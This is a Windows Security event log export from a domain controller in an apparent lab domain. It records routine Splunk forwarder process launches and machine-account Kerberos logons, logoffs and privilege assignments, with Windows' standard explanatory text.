	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:30:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256551
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x870
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:30:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256553
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x918
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:30:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256554
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7c8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:30:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256555
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1308
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:30:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256556
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb44
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:30:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256559
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4252C4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:30:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256558
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4252C4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65381

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:30:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256557
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4252C4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:31:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256560
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x328
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:31:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256562
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1020
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:31:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256561
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1310
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:31:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256563
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x900
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:31:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256564
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf8c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:31:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256565
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf58
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:31:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256566
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x110c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:31:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256568
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x427D35
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1315B027-D61C-A152-E46C-74A6DCC39304}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65387

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:31:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256567
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x427D35

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:31:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256569
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x427D35

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:31:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256572
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4289D0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:31:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256571
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4289D0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65395

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:31:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256570
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4289D0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:32:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256578
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x428CE8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:32:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256577
Keywords=Audit Success
